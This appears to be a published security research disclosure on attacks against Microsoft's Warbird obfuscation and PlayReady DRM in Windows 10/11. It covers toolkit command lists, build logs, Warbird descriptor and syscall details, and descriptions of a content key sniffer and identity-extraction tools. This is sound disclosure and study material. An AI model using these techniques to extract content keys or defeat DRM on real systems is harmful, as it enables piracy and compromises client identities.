Security
Headlines
HeadlinesLatestCVEs

Headline

Microsoft Warbird and PMP Security Research

This paper provides an in-depth technical explanation, illustration, and verification of discovered attacks affecting PlayReady on Windows 10 / 11 x64 that pertain to Warbird deficiencies, content key sniffer operation, magic XOR keys discovery, white-box crypto attack, and complete client identity compromise attacks.

Packet Storm
#web#mac#windows#microsoft#amazon#js#git#java#c++#auth#sap#ssl
# Microsoft Warbird and PMP security research  
# (c) Security Explorations    2008-2024 Poland  
# (c) AG Security Research     2019-2024 Poland  

“…If you decide to make it public…, stress the fact that it is not a
security issue in PlayReady or any Microsoft technology; it’s a security
issue in the STB” - Microsoft, Nov 2022

INTRODUCITON

This package presents security analysis conducted with respect to Microsoft
Warbird and Protected Media Path technologies.

A more general description of the results obtained and their impact is
described at project web page:

https://security-explorations.com/microsoft-warbird-pmp.html  

This document provides a more in-depth technical explanation, illustration and
verification of discovered attacks along toolsets used for their implementation.

We hope this document provides both important contribution along a valuable
perspective on the state of the art / security provided by PlayReady content
security technology (vide the nature of the issues uncovered / verification of
vendor’s claims).

For a more complete picture, you are encouraged to get familiar with our prior
PlayReady research from 2022 (along associated technical doc):

https://security-explorations.com/microsoft-playready.html  

DISCLAIMER

The goal of this research is not to promote PayTV or VOD content piracy in any
way. It is to both increase awareness and trigger more work at vendor’s end to
make PayTV / content piracy harder to accomplish.

The results obtained indicate that there is much space for the improvement
through better technical means.

Information in this document is provided purely for educational purposes only.
It is expressly forbidden to use them for any purposes that would violate any
domestic or international laws.

ON MICROSOFT / SHARING OF THE RESEARCH

We believe the following is worth to mention regarding Microsoft. Please, keep
in mind that we have 28 years of experience when it comes to dealing with
various SW / HW vendors over security issues.

  • contact with Microsoft Security Response Center has been a questionable
    experience:
    • all messages are signed semi-anonymously (as MSRC), as a result one has
      the impression of no accountability and anonymity, the experience is more
      like talking to a customer service of a big retailer, not security contact
      of a major SW vendor (other vendors we dealt with used real names),
    • MSRC responses are not prompt, simple confirmation of a successful download
      / decryption of a research material takes ~3 days for the company, this
      doesn’t look like 24/7 global team operations, this doesn’t look like “we
      take security issues seriously”
    • MSRC can occasionally lose the topic (doesn’t do the basic work that could
      clarify the context of a given message such as to ask internally employees
      CCed), this creates the impression that responses get redacted or are sent
      in a hurry / without due care
    • in 2019, Microsoft didn’t respond to our inquiry, we didn’t assume this
      was intentional until cease of a communication, which took place in early
      2023 (as a follow up of our inquiries regarding PlayReady security, which
      hasn’t been answered btw.)
  • Microsoft claims that it rewards security research, well the devil lies in a
    detail, more specifically:
    • Microsoft Bounty Terms and Conditions implicate commercial use with
      unknown payment terms, all non-negotiable and under Microsoft control
    • there are no categories for PlayReady / content protection (there has never
      been such categories),
    • our research didn’t need to rely on any privilege elevation/kernel exploit
      (direct base for no bug stance)
    • Microsoft claimed no bug at its end in 2022 (with above, solid rationale
      for similar evaluation in 2024)
    • the company hasn’t expressed / signaled any interest to discuss access to
      this research on a fair and commercial basis (regulating conditions of IP
      / know-how use, mutual agreement on a price, etc.) for the last 8 months,
      the company was well aware of research impact (PlayReady for Windows being
      broken to pieces) along the amount of work it required
  • Microsoft sort of played with us in 2022, which is hard to perceive in other
    terms than disrespect, company’s claims regarding fixing and taking the issue
    seriously didn’t reflect the reality, it took nearly 2 years to have the cert
    confirmed by Microsoft as compromised to be revoked, it’s even hard to think
    of this action as revocation as the service got simply shut down, the company
    avoided to admit that PlayReady might provide little or no security upon
    client compromise, not much security improvements has been noticed since 2022
    when we signaled the need for it (this research sort of proves it), this all
    built solid base for no trust to the company at our end.

We decided to give Microsoft (a company consisting of 100,000+ SW engineers,
with access to all the know-how, internal docs and source codes) approx. the
same amount of time to fix / address the issues as it took us (a 1 man shop
relying on binaries and public info only) to analyze and reverse engineer the
technology, discover the issues, develop illustrating POCs and dedicated
toolsets.

We finally provided Microsoft with access to the complete research package
comprising of a technical document, all toolsets with sources and test data
(285MB ZIP file) on Nov 18, 2024 and free of any charge (exactly two weeks
prior to the planned disclosure and as agreed with the company).

But, Microsoft is only partly the winner here as its engineers likely failed
to locate / address the root cause of the issues over the recent 8 months (no
fixes / mitigations observed). That’s quite a shame in our opinion. The other
source for the shame lies in the nature of the issues and attacks described
in this doc.

PACKAGE DESCRIPTION

The package comprises of the following tools:

  • Warbird Reverse Engineering toolkit
    Standalone toolkit making it possible to investigate Warbird protected binary
    files and facilitating their static and dynamic analysis. The toolkit makes
    it possible to perform dynamic analysis of arbitrary PlayReady functionality
    such as activation / individualization, license acquisition or license blob
    decryption (content key decryption), private ECC key discovery, XOR key
    discovery, white-box crypto key discovery, etc.

  • Content key sniffer
    The tool making it possible to extract plaintext values of content keys from
    Protected Media Path process (SW DRM on Windows 10 / 11 case).

  • Test LS
    Simple PlayReady License Server with a basic functionality to handle PlayReady
    individualization and license acquisition requests.

  • MSPR Toolkit
    MSPR toolkit with an update for client identity import, inspection and key
    exports, sniffer data import and dump along reverse engineering support for
    XOR key discovery and decryption of license server responses acquired with
    the use of a web browser (its built-in network monitoring functionality /
    developer console)

DIRECTORY STRUCTURE

The package follows directory structure described below:

  • binaries
    it contains base version of W10 PlayReady library used during reversing /
    analysis process

  • binaries\dynamic
    decrypted version of a base library, which has been setup for dynamic analysis
    (output of
    wbsetup -r command)

  • binaries\static
    decrypted version of the above base library, which has been setup for static
    analysis (output of wbsetup -s command)

  • tests\trace
    sample trace logs and scripts

  • tests\xor_key
    tests conducted with respect to XOR key value for various versions of PlayReady
    library and Windows OS

  • tests\web_soap_licenses
    tests illustrating web browser exploitation scenario

  • tests\sniffdata
    license sniffer outputs conducted for various VOD platforms and Live TV

  • tests\win_sniffed_key_for_canalp_vod
    exploit scenario illustrating the use of a key acquired by the sniffer to
    successfully decrypt the movie of Canal+ VOD

  • tests\wincert_use_for_canalp_vod
    exploit scenario illustrating the use of Windows based certificate / PlayReady
    identity issued for arbitrary VOD service to obtain access to movies (download
    and decryption) of Canal+ VOD service available to STB devices

  • tests\sniffer_test_nov2024
    test of the HW DRM disabling / MFPMP process attach / sniffer operation done in
    Nov 2024

                                       - `tools\sniffer`  
    

content key sniffer

  • tools\test_ls
    Test LS

  • tools\mspr_toolkit
    MSPR Toolkit

  • tools\wret_toolkit
    Warbird Reverse Engineering toolkit

Additionally, the following directories contain some helper data used by MSPR
toolkit:

  • tools\mspr_toolkit\cdm
    CDM content with arbitrary real PlayReady identities

  • tools\mspr_toolkit\decdata
    some predefined ECC points (with specific signature / content key patterns for
    Point.X), which can be used to generate license blobs (with specific signature
    / license key)

ASSUMPTIONS AND TERMS USED ACROSS THE DOC

Most code snippets used in this document and illustrating implementation of
PlayReady client library (Windows.Media.Protection.PlayReady.dll) are relying
on its Windows 10 version depicted below (denoted as “sample prlib” throughout
the doc):

wret> peinfo  
PEInfoCmd::run  
[PE file]  
  name      w10_prlib.dll  
  path      w10_prlib.dll  
  size      10347408  
  base      180000000  
  sections: 15  
  symbols:  0  
  time:     Thu Apr 29 11:08:30 2021  
  sha256:  
            0x00000000:  e0 e7 ee c2 0e bf 12 2c b6 fb 13 ec f9 ff cd 94  .......,........  
            0x00000010:  39 f3 86 06 0d 74 46 e3 be d8 b0 da e1 af 37 ac  9....tF.......7.  

The focus on a given single client library should not be perceived in terms of
any limitation. All libraries we tested follow the same implementation when it
comes to core functionality pertaining to identity handling and license blobs
decryption.

All tests / analysis have been conducted in Windows 10/11 x64 environment.

Addresses displayed by the WRET tool with respect to PlayReady image are RVAs -
relative virtual addresses.

WRET toolkit should be perceived in terms of a Proof of Concept. As such, it
might not work in some cases / with respect to all Warbird binaries, it does
not do proper cleanup with respect to Warbird / hooking setup. The way it
implements some features are far from being perfect too.

The following nomenclature is used with respect to extensions of identity
files:

  • *.enc.prv
    Obfuscated private ECC key component used for license blob encryption
  • *.enc.pub
    Public ECC key component used for license blob encryption
  • *.enc.plain
    Plaintext value of a private ECC key component used for license blob encryption
  • *.sig.prv
    Obfuscated private ECC key component used for signing license requests
  • *.sig.pub
    Public ECC key component used for signing license requests
  • *.sig.plain
    Plaintext value of ECC key component used for signing license requests

The plaintext content key value used in this document corresponds to the movie,
which is not available any more in a target VOD platform (HTTP request for url
denoting Manifest file was verified to return error, VOD search box for movie
title didn’t show the movie).

TOOLS’ BUILDING

The tools requires the following software for building:

  • Java SE implementation such as Coretto from Amazon
    https://aws.amazon.com/corretto/
  • Microsoft’s Visual Studio Community Edition
    https://visualstudio.microsoft.com/pl/vs/community/

Installation paths to the above software need to be setup in tools\config.bat
file prior to the build process or tools usage:

set vcdir="c:\_SOFTWARE\Microsoft Visual Studio\2022\Community"  
set javadir="c:\_SOFTWARE\Coretto\jdk21.0.5_11"  

Each tool can be built be running build.bat script residing in a tool’s main
directory:

c:\_MNT\PROJECTS\_PROJECTS\MSPR\MS_PKG\tools\wret_toolkit>build

**********************************************************************  
** Visual Studio 2022 Developer Command Prompt v17.6.1  
** Copyright (c) 2022 Microsoft Corporation  
**********************************************************************  
[vcvarsall.bat] Environment initialized for: 'x64'

Microsoft (R) Program Maintenance Utility Version 14.36.32532.0  
Copyright (C) Microsoft Corporation.  All rights reserved.

        del out\test  
Could Not Find c:\_MNT\PROJECTS\_PROJECTS\MSPR\MS_PKG\tools\wret_toolkit\out\test  
        del obj\*.obj  
        ml64.exe  /c /Foobj\ src\asm\wb.asm src\asm\tramp.asm src\asm\policy.asm src\asm\comhelper.asm src\asm\appmodel.asm  
Microsoft (R) Macro Assembler (x64) Version 14.36.32532.0  
Copyright (C) Microsoft Corporation.  All rights reserved.

 Assembling: src\asm\wb.asm  
 Assembling: src\asm\tramp.asm  
 Assembling: src\asm\policy.asm  
 Assembling: src\asm\comhelper.asm  
 Assembling: src\asm\appmodel.asm  
        cl.exe /nologo /EHsc  /GS /Zc:wchar_t /ZI /Gm- /Od /sdl /Zc:inline /fp:precise /D "_CONSOLE" /D "_CRT_SECURE_NO_WARNINGS" /WX- /Zc:forScope /RTC1 /Gd /MDd /FC /std:c++17 /c /Foobj\ src\*.cpp  
Aes.cpp  
App.cpp  
AppContainer.cpp  
Cmd.cpp  
ComLib.cpp  
Dbg.cpp  
DebugProc.cpp  
Dll.cpp  
DllMap.cpp  
DynCall.cpp  
Error.cpp  
FS.cpp  
...  
Generating Code...  
Compiling...  
WinRT.cpp  
Generating Code...  
        cl.exe /nologo /INCREMENTAL:NO /Gm- /Gy- /F 0x400000 /Feout\test.exe obj\*.obj bcrypt.lib kernel32.lib user32.lib ole32.lib WindowsApp.lib  
Aes.obj : warning LNK4075: ignoring '/EDITANDCONTINUE' due to '/OPT:ICF' specification  
c:\_MNT\PROJECTS\_PROJECTS\MSPR\MS_PKG\tools\wret_toolkit>  

TOOLS’ EXECUTION

Each tool can be executed by invoking run.bat script residing in a tool’s
main directory.

The WRET and MSPR Toolkit tools work in a shell-like manner. As such they
implement a set of custom commands.

The sniffer tool can be provided with a single argument:

licsniff [-t | outfile]  

where:

  • -t indicates that a stack dump should be performed for a target PMP
    process (for debugging purposes)
  • outfile denotes the target file where sniffed data such as content /
    white-box keys should be stored to

The test_ls server by default listens on port 8080 and default host IP
address.

MSPR TOOLKIT COMMANDS

The list of all commands implemented by the tool can be obtained with the use
of help command. For each command, brief information about the arguments
taken is displayed.

Below, more details regarding commands and their arguments is given. The list
is limited to the commands added to MSPR toolkit since 2022 (updated commands).

  • import license sniffer file
implicdata                license_sniff_file  
  • show, export or decrypt license information for a given keuid
licdata                   [-k keyid][-e outfile][-r outfile][-c prvkey][-v][-l]  
  • show, export or decrypt license information for a given keyid
licdata                   [-k keyid][-e outfile][-r outfile][-c prvkey][-v][-l]  
  • generate license blob for a given identity or key, with explicit value at
    given pos
genlicense                -k pubkey | -i identity [-v val][-p pos]  
  • geenrate intermediate decryption data (license blobs with predefined values)
    for given identity or public key
gendecdata                -k pubkey | -i identity  
  • generate license blob with a special singature / content key pattern, use
    predefined ECC point file for that purpose
genzlicense               -k pubkey | -i identity [-p pointfile][-o outfile]  
  • list identities or expost a given identity (its keys) to files
identity                  [identity] [-v][-e outfile]  
  • check a given private and public ECC key pair for match
checkkeypair              prvky pubkey  
  • check if a given ECC point is on ECC curve (NIST P-256)
oncurve                   point  
  • calculate AES CMAC for given data and key
aescmac                   data key  
  • do bijection test
bijtest                   data key  
  • performul ECC MUL operation for a given point and val
eccmulp                   point val  
  • generate ECC key pair from for a fixed value of a private key
genfixedkey               outfile kval  
  • decrypt HTTP SOAP license server response (such as the one acquired with the
    help of a web brower)
dechttplicense            httprespfile [-r][-v]  
  • decode Base64 data
b64dec                    file [-o outfile]  

WRET TOOLKIT COMMANDS

Similarly to MSPR toolkit, WRET tool works in a shell-like fashion. The list
of all commands implemented by the tool can be obtained with the use of help
command:

# Warbird RE toolkit (WRET)  
# (c) Security Explorations    2016-2024 Poland  
# (c) AG Security Research     2019-2024 Poland  
wret>  
wret> help  
test            test  
exit            exit shell  
help            print help information  
verbose         set verbose printing  
image           load image  
save            save image  
images          show loaded images  
dllmap          show dll maps  
peinfo          show various PE image information  
mdinfo          show various Metadata image information  
wbinfo          show various Warbird information  
wbdesc          show Warbird segment information  
wbop            do Warbird operation for address (encrypt, decrypt, lookup, restart)  
wbsetup         setup Warbird for static or dynamic analysis  
cominfo         show COM image information  
include         load header file  
eccdata         show ECC data information from image  
getlicense      issue PlayReady license request  
declicense      decrypt PlayReady license  
decsignkey      decrypt signing key  
decenckey       decrypt encryption key  
prinit          initialize PlayReady  
prinfo          show PlayReady information  
prsubs          show PlayReady subroutines  
ektable         show Expand Key table  
ekkey           get content key from expanded key file  
xorkey          show or set XOR key  
eccpctab        show ECC precalc table  
pkdata          set, restore or show private ECC Key data  
dmem            dump memory  
wmem            write memory  
smem            save memory to file  
sstr            search for string  
sstrw           search for wide string  
wstr            write string to memory  
wstrw           write wide string to memory  
uuid            show uuid representation  
trace           trace calls  
ps              show process list  
pid             show process id  
debug           debug process  
ptr             show ptr info  
pkgs            show app packages  
pkg             set app package  
funcs           show image functions  
fun             set function attribute  
handler         manage call handlers  
logcfg          manage global logging configuration  
msprtrace       manage MSPR tracing configuration  
syminfo         show symbol information  
metadata        load metadata  
lskey           load license server key  
lsurl           set license server url  
prlib           set default PlayReady library  
start           start process  
aeskey          show AES key information  
aestecheck      check AES table for bijection  
gmul            multply operation in GF(2^8) space  
wret>  

All implemented commands are defined in a global _cmd_table variable of the
Shell class (tools\wret_toolkit\src\Shell.cpp):

vector<Cmd*> Shell::_cmd_table={  
 new TestCmd("w[name=word,int]",  "test"),  
 new ExitCmd(NULL,  "exit shell"),  
 new HelpCmd("1[name=command,str]",  "print help information"),  
 new VerboseCmd("1[name=option,str]",  "set verbose printing"),

 new ImageCmd("1[name=image,str]",      "load image"),  
 new SaveCmd("1[name=image,str]",  "save image"),  
 new ImagesCmd("a[name=all,flag]",  "show loaded images"),  
 new DllmapCmd("1[name=libname,str]",  "show dll maps"),  
 new PEInfoCmd("h[name=header,str]"  
         "s[name=sections,flag]"  
         "i[name=imports,flag]"  
         "d[name=delayimports,flag]"  
         "e[name=exports,flag]"  
         "l[name=loadconfig,flag]"  
         "x[name=exceptions,flag]"  
         "L[name=libraries,flag]"  
         "v[name=verbose,flag]",  "show various PE image information"),  
 new MDInfoCmd("h[name=header,str]"  
         "s[name=stream,str]"  
         "t[name=table,str]"  
         "d[name=dump,str]"  
         "v[name=verbose,flag]",  "show various Metadata image information"),  
 new WBInfoCmd("s[name=summary,flag]"  
         "H[name=heapexecdesc,flag]"  
         "S[name=segmentdesc,flag]"  
         "d[name=descriptor,int]"  
         "v[name=verbose,flag]",  "show various Warbird information"),  
 new WBDescCmd("H[name=heapexecdesc,int]"  
         "S[name=segmentdesc,int]"  
         "v[name=verbose,flag]",  "show Warbird segment information"),  
 new WBOpCmd("r[name=restart,flag]"  
         "l[name=lookup,int]"  
         "e[name=encrypt,int]"  
         "d[name=decrypt,int]"  
         "v[name=verbose,flag]",  "do Warbird operation for address (encrypt, decrypt, lookup, restart)"),  
 new WBSetupCmd("s[name=static,flag]"  
          "r[name=runtime,flag]"  
    "v[name=verbose,flag]", "setup Warbird for static or dynamic analysis"),

...

Details regarding each command implementation can be further investigated in
the body of a designated class.

TECHNICAL DESCRIPTION

A more detailed overview of the key problems encountered along exploitation
techniques used is given below.

WARBIRD DECRYPTION PRIMITIVES

Binaries produced by Warbird are usually encrypted and its code obfuscated.
These binaries can execute “encrypted” code too.

Warbird binaries can be easily identified as they usually contain a special
PE Image section named ?g_Encr.

Windows 10/11 contains several images with such sections of which PlayReady
client library is a signature example:

wret> image w10_prlib.dll  
ImageCmd::run  
- Dll init w10_prlib.dll  
  size 10347408 bytes  
  base 180000000  
wret> prlib w10_prlib.dll  
PRLib::run  
wret> peinfo -s  
PEInfoCmd::run  
[SECTIONS]  
  * section:   .text          va 1000           size 6d6a00         char 60000020  
  * section:   ?g_Encr        va 6d8000         size a00            char 60000020  
  * section:   ?g_Encr        va 6d9000         size 800            char 60000020  
  * section:   ?g_Encr        va 6da000         size e400           char 60000020  
  * section:   ?g_Encr        va 6e9000         size 800            char 60000020  
  * section:   ?g_Encr        va 6ea000         size 600            char 60000020  
  * section:   ?g_Encr        va 6eb000         size d800           char 60000020  
  * section:   ?g_Encr        va 6f9000         size 200            char 60000020  
  * section:   ?g_Encr        va 6fa000         size 200            char 60000020  
  * section:   .rdata         va 6fb000         size 291200         char 40000040  
  * section:   .data          va 98d000         size b284           char c0000040  
  * section:   .pdata         va 999000         size 24400          char 40000040  
  * section:   .didat         va 9be000         size 200            char c0000040  
  * section:   .rsrc          va 9bf000         size 9600           char 40000040  
  * section:   .reloc         va 9c9000         size a600           char 42000040  
...  

Warbird binaries can contain both data and code sections encrypted. Summary of
the encryption rate used with respect to various sections for sample prlib can
be seen below:

wret> wbinfo -s  
WBInfoCmd::run  
Warbird encrypted binary  
 * section: .text va 1000 size 6d6a00 encr_size 580f8a (80%)  
 * section: .rdata va 6fb000 size 291200 encr_size 12821d (45%)  
 * section: .data va 98d000 size b284 encr_size 4aae (41%)  

In order to support encrypted code and data, Warbird binaries embed data
structures (WB segment descriptors) describing encrypted memory portions
(segments) of Warbird image along some metadata needed for their handling
(decryption or encryption).

There are two such base structures

  1. WB segment descriptors, which usually describe encrypted data located in
    .data or .rdata sections
  2. WB heap execute segment descriptors, which describe encrypted code located
    in .text section

WB segments descriptors used by sample prlib is shown below:

wret> wbinfo -S  
WBInfoCmd::run  
Warbird encrypted binary  
- wb segment  
  desc_va:      0x6d8000 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 223):  
  * [0000] encr_va 6b3d00 size 0000df section .text  
- wb segment  
  desc_va:      0x6d8100 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 415):  
  * [0000] encr_va 6b3a40 size 00019f section .text  
- wb segment  
  desc_va:      0x6d8200 size 10c  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 2, data size 2306):  
  * [0000] encr_va 6b3120 size 000401 section .text  
  * [0001] encr_va 6b3530 size 000501 section .text  
- wb segment  
  desc_va:      0x6d830c size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 1590):  
  * [0000] encr_va 656b50 size 000636 section .text  
- wb segment  
  desc_va:      0x6d840c size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 1607):  
  * [0000] encr_va 657190 size 000647 section .text  
- wb segment  
  desc_va:      0x6d850c size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 3676):  
  * [0000] encr_va 65a220 size 000e5c section .text  
- wb segment  
  desc_va:      0x6d8618 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 3568):  
  * [0000] encr_va 65b090 size 000df0 section .text  
- wb segment  
  desc_va:      0x6d8718 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 213):  
  * [0000] encr_va 6b3df0 size 0000d5 section .text  
- wb segment  
  desc_va:      0x6d9000 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 260):  
  * [0000] encr_va 6b3bf0 size 000104 section .text  
- wb segment  
  desc_va:      0x6d9100 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 5246):  
  * [0000] encr_va 6577e0 size 00147e section .text  
- wb segment  
  desc_va:      0x6d9200 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 198):  
  * [0000] encr_va 6b3050 size 0000c6 section .text  
- wb segment  
  desc_va:      0x6d9300 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 24955):  
  * [0000] encr_va 6509c0 size 00617b section .text  
- wb segment  
  desc_va:      0x6d9400 size 100  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 1, data size 37303):  
  * [0000] encr_va 6a19e0 size 0091b7 section .text  
- wb segment  
  desc_va:      0x6d9500 size 10c  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 2, data size 48910):  
  * [0000] encr_va 152b70 size 00beec section .text  
  * [0001] encr_va 7d1a20 size 000022 section .rdata  
- wb segment  
...  

WB heap execute descriptors for the same lib is listed below:

wret> wbinfo -H  
WBInfoCmd::run  
Warbird encrypted binary  
- wb heap exec  
  desc_va:      0x3080 size f0  
  encr_code:    va 0x6bacf0 size 0x17f  
- wb heap exec  
  desc_va:      0x33c0 size f0  
  encr_code:    va 0x123950 size 0x300  
- wb heap exec  
  desc_va:      0x3700 size f0  
  encr_code:    va 0xce7d0 size 0x55c  
- wb heap exec  
  desc_va:      0x3a40 size f0  
  encr_code:    va 0x1abde0 size 0xd9  
- wb heap exec  
  desc_va:      0x3d80 size f0  
  encr_code:    va 0x6c3d50 size 0x19d  
- wb heap exec  
  desc_va:      0x40c0 size f0  
  encr_code:    va 0x1acd10 size 0x17a  
- wb heap exec  
  desc_va:      0x4400 size f0  
  encr_code:    va 0x10c580 size 0x103  
- wb heap exec  
  desc_va:      0x4740 size f0  
  encr_code:    va 0x1ba61c size 0x319  
- wb heap exec  
  desc_va:      0x4a80 size f0  
  encr_code:    va 0x6bde70 size 0x1e0  
- wb heap exec  
  desc_va:      0x4dc0 size f0  
  encr_code:    va 0x150100 size 0x106  
- wb heap exec  
  desc_va:      0x5100 size f0  
  encr_code:    va 0x15ebb0 size 0x18a  
- wb heap exec  
  desc_va:      0x5440 size f0  
  encr_code:    va 0x6c0cf0 size 0x3a  
- wb heap exec  
  desc_va:      0x5780 size f0  
  encr_code:    va 0x1097e0 size 0x306  
- wb heap exec  
  desc_va:      0x5ac0 size f0  
  encr_code:    va 0x14b9e0 size 0x1665  
- wb heap exec  
  desc_va:      0x5e00 size f0  
  encr_code:    va 0x15ea70 size 0xdb  
- wb heap exec  
  desc_va:      0x6140 size f0  
  encr_code:    va 0x1a3b90 size 0x1c3  
- wb heap exec  
  desc_va:      0x6480 size f0  
  encr_code:    va 0x1523b0 size 0x282  
- wb heap exec  
  desc_va:      0x67c0 size f0  
  encr_code:    va 0x178be0 size 0x57c  
- wb heap exec  
  desc_va:      0x6b00 size f0  
  encr_code:    va 0x14e780 size 0x486  
- wb heap exec  
  desc_va:      0x6e40 size f0  
  encr_code:    va 0x6be370 size 0x25b  
- wb heap exec  
  desc_va:      0x7180 size f0  
  encr_code:    va 0x1482b0 size 0x114  
- wb heap exec  
  desc_va:      0x74c0 size f0  
  encr_code:    va 0x1b4560 size 0x7e  
...  

WB segment descriptors can group several memory chunks (segments), which is the
case for WB descriptor 0x6d8200 depicted above.

Information about target encrypted memory region and its size is denoted by the
encr_va and size props.

Further information about WB descriptor such as encryption key / Feistel
symmetric algorithm rounds’ data can be displayed too:

wret> wbdesc -S 0x6d8000  
WBDescCmd::run  
Warbird encrypted binary  
- wb descriptor  
  digest:  
0x00000000:  a5 23 6e 27 11 7f d3 e3 d6 8f 72 b5 91 5f ad 87  .#n'......r.._..  
0x00000010:  94 a1 6b ba c5 58 83 8b ce d8 2a ca 82 78 2c ba  ..k..X....*..x,.  
  size:         0x100  
  v1:           0x0  
  desc_va:      0x6d8000  
  relocs_va:    0x9436f0 num 0x5197  
  encr_va:      0x0 num 0x80000000  
  v2:           0x1  
  v3:           0x1  
  v4:           0x1  
  key:          0x82b8c764000b3d0f  
  0 Feistel round  
    v1:                   0x3  
    v2:                   0x6b  
    v3:                   0xb2  
    v4:                   0x11  
  1 Feistel round  
    v1:                   0x2  
    v2:                   0xf5  
    v3:                   0x33  
    v4:                   0x34  
  2 Feistel round  
    v1:                   0xc  
    v2:                   0xfd  
    v3:                   0xef  
    v4:                   0x96  
  3 Feistel round  
    v1:                   0x1e  
    v2:                   0xf1  
    v3:                   0x48  
    v4:                   0xd3  
  4 Feistel round  
    v1:                   0x17  
    v2:                   0xc9  
    v3:                   0x15  
    v4:                   0xf4  
  5 Feistel round  
    v1:                   0x4  
    v2:                   0x67  
    v3:                   0xa  
    v4:                   0xde  
  6 Feistel round  
    v1:                   0x1  
    v2:                   0x4b  
    v3:                   0x5f  
    v4:                   0x6c  
  7 Feistel round  
    v1:                   0xf  
    v2:                   0xeb  
    v3:                   0x41  
    v4:                   0xb1  
  8 Feistel round  
    v1:                   0xb  
    v2:                   0x5d  
    v3:                   0x7f  
    v4:                   0xf2  
  9 Feistel round  
    v1:                   0x13  
    v2:                   0xa8  
    v3:                   0xf6  
    v4:                   0xcf  

Similarly, WB heap execute descriptors can be inspected in a detail too:

wret> wbdesc -H 0x3080  
WBDescCmd::run  
Warbird encrypted binary  
- wb descriptor  
  digest:  
0x00000000:  26 a5 94 8b d5 7a 6f a4 5d 9d f6 43 ad 45 e4 cf  &....zo.]..C.E..  
0x00000010:  a8 a8 aa 26 86 3f 72 f9 ce 45 97 30 67 cb 83 28  ...&.?r..E.0g..(  
  size:         0xf0  
  v1:           0xffffff00  
  desc_va:      0xf0003080  
  relocs_va:    0x0 num 0xffff00c3  
  encr_va:      0xf06bacf0 num 0xf000017f  
  v2:           0xf0000000  
  v3:           0xf0000000  
  v4:           0xf0000000  
  key:          0x843cdaecb328ce8a  
  0 Feistel round  
    v1:                   0x8  
    v2:                   0x3f  
    v3:                   0xf  
    v4:                   0xb  
  1 Feistel round  
    v1:                   0x7  
    v2:                   0x30  
    v3:                   0x9  
    v4:                   0xdb  
  2 Feistel round  
    v1:                   0x17  
    v2:                   0x2e  
    v3:                   0x0  
    v4:                   0x36  
  3 Feistel round  
    v1:                   0xf  
    v2:                   0x83  
    v3:                   0x44  
    v4:                   0xba  
  4 Feistel round  
    v1:                   0xe  
    v2:                   0x51  
    v3:                   0x42  
    v4:                   0x34  
  5 Feistel round  
    v1:                   0x1a  
    v2:                   0xa5  
    v3:                   0x48  
    v4:                   0x98  
  6 Feistel round  
    v1:                   0x1e  
    v2:                   0xd6  
    v3:                   0x1  
    v4:                   0xdd  
  7 Feistel round  
    v1:                   0xc  
    v2:                   0x46  
    v3:                   0xc9  
    v4:                   0x72  
  8 Feistel round  
    v1:                   0xa  
    v2:                   0x86  
    v3:                   0x37  
    v4:                   0x1c  
  9 Feistel round  
    v1:                   0x14  
    v2:                   0xe  
    v3:                   0xe3  
    v4:                   0xa3  

Support for Warbird segments is implemented at the kernel level through
NtQuerySystemInformation system call (WB system call):

#define WB_SYSCALL_NUMBER           0x36  

and dedicated system information call:

#define WB_SYSTEM_INFORMATION_CLASS 0xb9  

A pointer to the following structure specifies arguments for target WB call:

typedef struct {  
 DWORD64 op;  
 union {  
  DecryptEncryptionSegment_args_t decrypt;  
  ReencryptEncryptionSegment_args_t reencrypt;  
  RemoveProcess_args_t remove;  
  ProcessStartup_args_t startup;  
 };  
} WarbirdCallArgs_t;  

The following Warbird operations are supported:

typedef enum {  
 WbDecryptEncryptionSegment=1,  
 WbReEncryptEncryptionSegment,  
 WbHeapExecuteCall,  
 WbSetTrapFrame,  
 WbInvalidOp1,  
 WbInvalidOp2,  
 WbRemoveWarbirdProcess,  
 WbProcessStartup,  
 WbProcessModuleUnload  
} wb_call_t;  

It looks all data needed to handle encrypted WB segments are contained in a
target segment itself. As such it should be possible to decrypt arbitrary WB
segments as long as details of the Feistel algorithm implemented at kernel
side is reverse engineered (such as on a non-Windows system).

A more straightforward approach has been taken by us though as the kernel
provides functionality to both decrypt and reencrypt WB segments.

Such a decryption is illustrated below for sample WB segment:

- wb segment  
  desc_va:      0x6f9000 size 10c  
  relocs_va:    0x9436f0 num 0x5197  
  segments (num 2, data size 605):  
  * [0000] encr_va 5a1b60 size 000087 section .text  
  * [0001] encr_va 5a1bf0 size 0001d6 section .text  

Below, content of its encrypted memory is shown (encrypted code):

wret> dmem 0x5a1bf0  
DmemCmd::run  
va 5a1bf0  
0x00000000:  a3 ce 76 4c 0f 61 2b 24 3f 1e 5b 38 ef 7b 06 52  ..vL.a+$?.[8.{.R  
0x00000010:  f4 58 19 1b 32 ba 88 5c 89 44 6c d2 b9 9e a5 df  .X..2..\.Dl.....  
0x00000020:  eb 3e dd 2c 7e 58 d3 1a e7 00 35 2e 01 fc 59 b1  .>.,~X....5...Y.  
0x00000030:  79 95 e8 3f c0 9e 04 0a a8 6f 2b 63 8f c8 de ea  y..?.....o+c....  
0x00000040:  6b f0 51 7e 5c 90 25 ee 29 3d 49 df 5e c8 4c 27  k.Q~\.%.)=I.^.L'  
0x00000050:  40 7f 04 27 cd ef 0c d1 76 3a 49 af 91 f8 c9 91  @..'....v:I.....  
0x00000060:  6f 09 b4 a7 b0 3e 1b 3b 08 09 d4 84 c0 f6 5d 71  o....>.;......]q  
0x00000070:  06 c8 93 50 b7 93 fa 0d 52 fd 14 a1 21 7e 96 a4  ...P....R...!~..  
0x00000080:  70 8d 6d d4 84 2c d9 c3 3c 62 e9 7e 12 55 13 0f  p.m..,..<b.~.U..  
